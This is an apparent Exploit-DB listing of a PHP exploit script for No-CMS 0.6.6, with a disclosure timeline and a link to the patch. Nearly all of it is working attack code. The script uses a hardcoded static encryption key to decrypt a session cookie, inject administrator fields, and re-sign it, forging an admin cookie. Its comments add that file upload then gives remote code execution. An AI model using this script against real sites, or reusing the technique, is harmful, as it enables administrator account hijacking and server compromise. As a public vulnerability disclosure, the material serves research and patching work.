No-CMS 0.6.6 rev 1 – Admin Account Hijacking / Remote Code Execution via Static Encryption Key

  • 作者: Mehmet Ince
    日期: 2014-04-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/32976/
  • <?php
    /*
    * 
    * Static encryption_key of No-CMS lead to Session Array Injection in order to
    * hijack administrator account then you will be able for upload php files to
    * server via theme/module upload.
    * 
    * This exploit generates cookie for administrator access from non-privileges cookie.
    *
    * Full analysis can be found following link.
    * http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key/
    * 
    * TIMELINE
    * 
    * Apr 21, 2014 at 20:17 PM = Vulnerability found.
    * Apr 22, 2014 at 1:27 AM = First contact with no-cms developers.
    * Apr 22, 2014 at 1:31 AM = Response from no-cms developer.
    * Apr 22, 2014 at 2:29AM = Vulnerability confirmed by developers.
    * Apr 22, 2014 at 04:37 = Vulnerability has been patch via following commit.
    * https://github.com/goFrendiAsgard/No-CMS/commit/39d6ed327330e94b7a76a04042665dd13f2162bd
    */
    define('KEY', 'namidanoregret');
    define('KEYWORD', 'session_id');
    
    function log_message($type = 'debug', $str){
    echo PHP_EOL."[".$type."] ".$str;
    }
    function show_error($str){
    echo PHP_EOL."[error] ".$str.PHP_EOL;
    exit(0);
    }
    function _print($str){
    log_message("info", $str.PHP_EOL);
    }
    class CI_Encrypt {
    public $encryption_key		= '';
    protected $_hash_type		= 'sha1';
    protected $_mcrypt_exists	= FALSE;
    protected $_mcrypt_cipher;
    protected $_mcrypt_mode;
    public function __construct()
    {
    $this->_mcrypt_exists = function_exists('mcrypt_encrypt');
    log_message('debug', 'Encrypt Class Initialized');
    }
    public function get_key($key = '')
    {
    return md5($this->encryption_key);
    }
    public function set_key($key = '')
    {
    $this->encryption_key = $key;
    return $this;
    }
    public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '')
    {
    if ($this->_mcrypt_exists === FALSE)
    {
    log_message('error', 'Encoding from legacy is available only when Mcrypt is in use.');
    return FALSE;
    }
    elseif (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))
    {
    return FALSE;
    }
    $current_mode = $this->_get_mode();
    $this->set_mode($legacy_mode);
    
    $key = $this->get_key($key);
    $dec = base64_decode($string);
    if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE)
    {
    $this->set_mode($current_mode);
    return FALSE;
    }
    $dec = $this->_xor_decode($dec, $key);
    $this->set_mode($current_mode);
    return base64_encode($this->mcrypt_encode($dec, $key));
    }
    public function _xor_encode($string, $key = '')
    {
    if($key === '')
    $key = $this->get_key();
    $rand = '';
    do
    {
    $rand .= mt_rand();
    }
    while (strlen($rand) < 32);
    $rand = $this->hash($rand);
    $enc = '';
    for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++)
    {
    $enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]);
    }
    return $this->_xor_merge($enc, $key);
    }
    public function _xor_decode($string, $key = '')
    {
    if($key === '')
    $key = $this->get_key();
    $string = $this->_xor_merge($string, $key);
    
    $dec = '';
    for ($i = 0, $l = strlen($string); $i < $l; $i++)
    {
    $dec .= ($string[$i++] ^ $string[$i]);
    }
    return $dec;
    }
    protected function _xor_merge($string, $key)
    {
    $hash = $this->hash($key);
    $str = '';
    for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++)
    {
    $str .= $string[$i] ^ $hash[($i % $lh)];
    }
    return $str;
    }
    public function mcrypt_encode($data, $key = '')
    {
    if($key === '')
    $key = $this->get_key();
    $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());
    $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND);
    return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key);
    }
    public function mcrypt_decode($data, $key = '')
    {
    if($key === '')
    $key = $this->get_key();
    $data = $this->_remove_cipher_noise($data, $key);
    $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode());
    
    if ($init_size > strlen($data))
    {
    return FALSE;
    }
    
    $init_vect = substr($data, 0, $init_size);
    $data = substr($data, $init_size);
    return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "\0");
    }
    protected function _add_cipher_noise($data, $key)
    {
    $key = $this->hash($key);
    $str = '';
    for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
    {
    if ($j >= $lk)
    {
    $j = 0;
    }
    $str .= chr((ord($data[$i]) + ord($key[$j])) % 256);
    }
    return $str;
    }
    protected function _remove_cipher_noise($data, $key)
    {
    $key = $this->hash($key);
    $str = '';
    for ($i = 0, $j = 0, $ld = strlen($data), $lk = strlen($key); $i < $ld; ++$i, ++$j)
    {
    if ($j >= $lk)
    {
    $j = 0;
    }
    $temp = ord($data[$i]) - ord($key[$j]);
    if ($temp < 0)
    {
    $temp += 256;
    }
    $str .= chr($temp);
    }
    return $str;
    }
    public function set_cipher($cipher)
    {
    $this->_mcrypt_cipher = $cipher;
    return $this;
    }
    public function set_mode($mode)
    {
    $this->_mcrypt_mode = $mode;
    return $this;
    }
    protected function _get_cipher()
    {
    if ($this->_mcrypt_cipher === NULL)
    {
    return $this->_mcrypt_cipher = MCRYPT_RIJNDAEL_256;
    }
    return $this->_mcrypt_cipher;
    }
    protected function _get_mode()
    {
    if ($this->_mcrypt_mode === NULL)
    {
    return $this->_mcrypt_mode = MCRYPT_MODE_CBC;
    }
    return $this->_mcrypt_mode;
    }
    public function set_hash($type = 'sha1')
    {
    $this->_hash_type = in_array($type, hash_algos()) ? $type : 'sha1';
    }
    public function hash($str)
    {
    return hash($this->_hash_type, $str);
    }
    
    }
    
    $encryption = new CI_Encrypt();
    $encryption->set_key(KEY);
    
    // WRITE YOUR OWN COOKIE HERE! 
    $cookie = rawurldecode("DZyb3lI68zh+RBNg8C4M03TEJhMR4BBMzNWA1YUampWQ6UKaiUhG48rwkdfIs9DJYNQc8pZDniflInnUrQz1FbRxueQ3NLCahBBmrTuw8Ib7OL7ycm/IbuR81WEVrWpYOnQ4Z57/w21OCyVw42TjSkXkfWfN67veJr5630eTBA03vRbvLunZ9RLEuElqNrJu/H63yibCv8fyRWNnKs56i5OuU6Dso11O49k4fhxd008WTvsGliLxiErCkWwYfGfcjUA3V2Mh9mkrLk0YEKIbt3hbNXhAnGhIVIVJURhnmibqEFUacB1gP1GnbP2fQy3NpJt317n/3/sH+jH4lM+53IY1HOJh7n/J6RU9jqMr1hdeslDxFaV7SCuB4vPuO7SScec8063aae4808b195d818d86fda1d280ebb06bd");
    
    $len = strlen($cookie) - 40;
    
    if ($len < 0)
    {
    show_error('The session cookie was not signed.');
    }
    // Check cookie authentication
    $hmac	 = substr($cookie, $len);
    $session = substr($cookie, 0, $len);
    
    if ($hmac !== hash_hmac('sha1', $session, KEY))
    {
    show_error('The session cookie data did not match what was expected.');
    }
    
    // Detect target encryption method and Decrypt session
    $_mcrypt = $encryption->mcrypt_decode(base64_decode($session));
    $_xor = $encryption->_xor_decode(base64_decode($session));
    $method = '';
    $plain = '';
    
    if (strpos($_mcrypt, KEYWORD) !== false) {
    _print("Encryption method is mcrypt!");
    $method = 'm';
    $plain = $_mcrypt;
    } else if (strpos($_xor, KEYWORD) !== false) {
    _print("Encryption method is xor!");
    $method = 'x';
    $plain = $_xor;
    } else {
    show_error("something went wrong.");
    }
    
    // Unserialize session string in order to create session array.
    $session = unserialize($plain);
    _print("Current Session Array :");
    print_r($session).PHP_EOL;
    
    // Add extra fields into it
    $session['cms_user_name'] = 'admin';
    $session['cms_user_id'] = 1;
    
    // Print out payload string.
    _print("Payload appended Session Array :");
    print_r($session).PHP_EOL;
    
    // Serialize it
    $session = serialize($session);
    
    
    // Encrypt it with same key.
    if ($method === 'm')
    $payload = base64_encode($encryption->mcrypt_encode($session));
    if ($method === 'x')
    $payload = base64_encode($encryption->_xor_encode($session));
    
    // Calculation of hmac to add it end of the encrypted session string.
    $payload .= hash_hmac('sha1', $payload, KEY);
    
    _print("New Cookie");
    _print($payload);
    _print("Use Tamper Data and change cookie then push F5!");